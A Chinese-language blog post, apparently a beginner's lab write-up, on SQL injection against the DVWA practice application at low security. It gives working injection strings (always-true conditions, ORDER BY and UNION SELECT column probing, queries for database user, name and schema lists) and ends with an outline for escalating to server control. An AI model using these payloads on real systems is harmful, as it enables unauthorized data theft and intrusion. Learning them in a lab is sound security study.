1. 程式人生 > >web安全與防禦---2.DVWA之SQL注入

web安全與防禦---2.DVWA之SQL注入

首先登入DVWA主頁:

1、修改安全級別為LOW級(第一次玩別打臉),如圖中DVWA Security頁面中。

2、進入SQL Injection頁面,出錯了。(心裡想著這DVWA是官網下的不至於玩不了吧。。)

網頁錯誤提示:Parse error: syntax error, unexpected '['in C:\xampp\htdocs\DVWA\vulnerabilities\sqli\index.php on line 65

趕緊開啟index.php檔案,這提示報錯65行看看PHP程式碼!(內心是不願意的,我是學java的)

$num = mysqli_fetch_row( $result )[0];

---->猜測放回型別不是陣列,就將[0]去掉試了一下就可以了=。=(留給PHP的朋友去看具體吧,在下先用著)

3、一次奇葩的經歷後開始嘗試第一次的SQL注入。

根據上面的提示,輸入使用者的id,它將返回了關於這個user的資訊。這裡先輸入了“1”試試。

成功返回資料發現瀏覽器的位址列url成

http://192.168.204.132/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit# 

換個輸入值2又變成:

http://192.168.204.132/DVWA/vulnerabilities/sqli/?id=2&Submit=Submit# 

輸入單引號‘嘗試,發現頁面報錯:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1

由於使用者輸入的值為ID,因此我們習慣判斷這裡的注入型別為數字型,因此嘗試輸入:1 or 1=1 ,看能否查詢:

並且位址列為http://192.168.204.132/DVWA/vulnerabilities/sqli/?id=1+or+1%3D1&Submit=Submit#

所以猜測後臺程式將此值當做字元型,於是輸入:1'or'1'='1,結果成功返回多行資料:(好激動的說)

OWASP測試指南上(http://www.owasp.org.cn/owasp-project/download/OWASP_testing_guide)看還有

Union查詢SQL注入、盲SQl注入、SUBSTRING(text,start,length)、預程式注入。

接下來分析欄位數:有兩種方法

方法一:用order bynum語句。
分析欄位數的原因是我們之後需要用union select語句來獲得我們需要的敏感資料。
根據order by知識知道,

要是後面跟著的數字超出了欄位數時,就會報錯!通過這個我們可以確定欄位數。

(使用“#”符號來註釋後面的單引號)

1' order by 2#-------正常
1' order by 3#-------出錯Unknown column '3' in 'order clause'
,所以欄位數為2

方法二:直接用union select來猜測欄位數。
因為當欄位數不對應的時候,它也是會發生報錯的!
1' union select 1#-------出錯The used SELECT statements have a different number of columns
1' union select 1,2#-------正常,所以欄位數為2

使用Union all結合利用user(),及database(),version()等三個內建函式。得到連線資料庫賬戶資訊、資料庫名稱、資料庫版本資訊。

1' and 1=2 union select user(),database()#------成功得到資料庫資訊!!!

使用Union all結合利用mysql預設的資料庫infromation_scehma,該資料庫儲存了Mysql所有資料庫和表的資訊。

1' and 1=2 union select 1,schema_name from information_schema.schemata#---------(可怕~)

總結一下今天SQL注入的第一次體驗:大致思路如下

1、尋找注入點,應該可以通過web掃描工具實現。


2、通過注入點,嘗試獲得關於連線資料庫使用者名稱、資料庫名稱、連線資料庫使用者許可權、作業系統資訊、資料庫版本等相關資訊。

3、猜解關鍵資料庫表及其重要欄位與內容(常見如存放管理員賬戶的表名、欄位名等資訊)

4、可以通過獲得的使用者資訊,尋找後臺登入入口。

5、利用後臺瞭解進一步資訊,提權,直到拿到伺服器許可權。